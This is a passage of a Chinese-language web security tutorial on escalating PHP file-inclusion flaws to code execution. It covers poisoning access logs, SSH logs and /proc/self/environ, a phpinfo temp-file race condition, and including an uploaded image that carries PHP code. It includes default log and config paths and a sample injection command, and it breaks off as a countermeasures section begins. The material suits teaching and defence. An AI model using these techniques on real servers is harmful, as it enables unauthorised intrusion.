style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">5.从返回结果来看,我们的payload和恶意代码已经正常解析和执行。</span></p><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">3.2.Getshell之日志</span></h2><h3 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 18px;"><span style="font-size: 14px;">3.2.1.访问日志</span></h3><p style="margin-top: 10px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">条件:需要知道服务器日志的存储路径,且日志文件可读。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">日志存储默认路径:</span></p><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1.apache+Linux日志默认路径:/etc/httpd/logs/access<em style="margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;">log或/var/log/httpd/access</em>log</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2.apache+win2003日志默认路径:D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">3.IIS6.0+win2003默认日志文件:C:\WINDOWS\system32\Logfiles</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">4.IIS7.0+win2003 默认日志文件:%SystemDrive%\inetpub\logs\LogFiles</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">5.nginx 日志文件:日志文件在用户安装目录logs目录下,假设安装路径为/usr/local/nginx,那日志目录就是在/usr/local/nginx/logs下面</span></p></blockquote><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">利用:</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1.多数情况,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在/etc/httpd/logs/下。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2.但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/34f7ade1f276dd79f3b5a661ba1fc3ed.png"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">3.正常的php代码已经写入了 /etc/httpd/logs/access.log。然后包含即可执行代码。</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/61bc5d464b95b6bf611999bb2a22b0b7.png"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">4.但有的时候,log的存放地址会被更改。这个时候可以通过读取相应的配置文件后,再进行包含。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">中间件默认配置文件存放路径:</span></p><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1.apache+linux 默认配置文件</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;"> /etc/httpd/conf/httpd.conf或/etc/init.d/httpd</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2. IIS6.0+win2003 配置文件</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;"> C:/Windows/system32/inetsrv/metabase.xml</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">3. IIS7.0+WIN 配置文件</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;"> C:\Windows\System32\inetsrv\config\applicationHost.config</span></p></blockquote><h3 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 18px;"><span style="font-size: 14px;">3.2.2.SSH log</span></h3><p style="margin-top: 10px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">条件:需要知道ssh-log的位置,且可读。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">ssh日志默认路径:</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1./var/log/auth.log</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2./var/log/secure</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">利用:</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1.用ssh连接:</span></p><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">ssh \'\<?php phpinfo(); ?>\'\@remotehost</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">之后会提示输入密码,随便输入就可以。</span></p></blockquote><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/10ccc2f9341a2bbed900297774e1eacf.png"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2.然后利用文件包含,包含日志文件:</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/d3fa45010b0e3da9f57df7b9338ebfbd.png"></span></p><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">3.3.Getshell之environ</span></h2><p style="margin-top: 10px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">条件:</span></p><ol style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 30px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;" class="list-paddingleft-2"><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">php以cgi方式运行,这样environ才会保持UA头。</span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">environ文件存储位置已知,且有权限访问environ文件。</span></p></li></ol><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">environ文件默认位置:</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">proc/self/environ</span></p></blockquote><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">利用:</span></p><blockquote style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 15px;padding-bottom: 0px;padding-left: 15px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 4px;border-style: initial;border-color: initial;border-left-style: solid;border-left-color: rgb(221, 221, 221);color: rgb(119, 119, 119);"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1.proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">2.例如我们现在访问一个网站,使用burpsuite抓包,将恶意代码插入到user-agent中。</span></p></blockquote><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/10c0ce5145fdcd683e187f87db35f191.png"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">3.利用文件包含漏洞去包含proc/self/environ,成功执行php代码。</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/61bc5d464b95b6bf611999bb2a22b0b7.png"></span></p><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">3.4.Getshell之利用phpinfo</span></h2><p style="margin-top: 10px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">条件:存在phpinfo页面并且存在文件包含漏洞</span></p><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/e9c7b8a50db86a837aa35b0f17cb42fb.jpeg"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">原理:</span></p><ol style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 30px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;" class="list-paddingleft-2"><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">当我们给PHP发送POST数据包时,如果数据包里包含文件区块,PHP就会将文件保存成一个临时文件,路径通常为:/tmp/php,这个临时文件,在请求结束后就会被删除。</span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">因为phpinfo页面会将请求上下文中的所有变量打出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,就可以在返回包里找到临时文件名,也就是\$_FILES变量中的内容。</span></p></li></ol><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">利用:</span></p><ol style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 30px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;" class="list-paddingleft-2"><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p style="text-align: left;"><span style="font-size: 14px;">首先我们使用vulhub的脚本(<img src="https://www.ihonker.org/data/attachment/forum/202103/05/c8af9767ec57e7a7cb1694d287b4089f.png" border="0" alt="" style="max-width:400px">" data-type="png" data-w="695" style=""/></span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p><span style="font-size: 14px;">写入成功以后,我们利用文件包含来执行任意命令。</span></p></li></ol><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/4d1556801cbc7769c88109afcb59820e.png"></span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">原理:</span><br></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">那么为啥vulhub的脚本是如何做到在临时脚本文件删除前去包含的呢,其实就是用到了条件竞争,具体流程大致如下:</span></p><ol style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 30px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;" class="list-paddingleft-2"><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">首先发送包含webshell的数据包给phpinfo页面,并用大量的垃圾数据将header和get等位置填满。</span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">因phpinfo页面会将所有数据打印出来,第一个步骤中的垃圾数据就会将phpinfo页面撑的非常大。而php默认输出缓冲区大小为4096,也可以理解为php每次返回4096个字节给socket连接。</span></p></li><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p style="margin-top: 0px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">所以,这里直接操作原生socket,每次读取4096个字节。只要我们读取到字节里包含临时文件名,就立刻发送文件包含漏洞利用的数据包。因为第一个数据包的socket连接没有结束,所以临时文件还没有删除,我们就可以文件包含成功。</span></p></li></ol><h2 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 1px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 24px;border-bottom-style: solid;border-bottom-color: rgb(204, 204, 204);color: rgb(0, 0, 0);"><span style="font-size: 14px;">3.5.Getshell之上传文件</span></h2><p style="margin-top: 10px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">条件:有上传点,知道上传上去的文件名和存放目录。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">利用:</span></p><ol style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 30px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;" class="list-paddingleft-2"><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p><span style="font-size: 14px;">这里用一个靶场简单演示一下,找个文件上传点,上传一个带有php恶意代码的图片。</span></p></li></ol><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width:100%;" src="https://www.ihonker.org/data/attachment/forum/202103/05/0f124691822075abe8d40ac3bf61fb24.png"></span></p><ol style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 30px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;" class="list-paddingleft-2"><li style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;font-size: 14px;"><p><span style="font-size: 14px;">我们现在已知文件名称和路径,可以利用文件包含漏洞去包含这个图片,就可以成功执行php代码了。</span></p></li></ol><p style="text-align: center;"><span><img title="双击删除图片" class="onloadimg" style="max-width: 100%; cursor: pointer; opacity: 1;" src="https://www.ihonker.org/data/attachment/forum/202103/05/c6ea90d065c61098c06cde7750a8ff16.png"></span></p><h1 style="margin-top: 20px;margin-right: 0px;margin-bottom: 10px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;font-weight: bold;-webkit-font-smoothing: antialiased;font-size: 28px;color: rgb(0, 0, 0);"><span style="font-size: 17px;">4.应对措施</span></h1><p style="margin-top: 10px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">1、在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 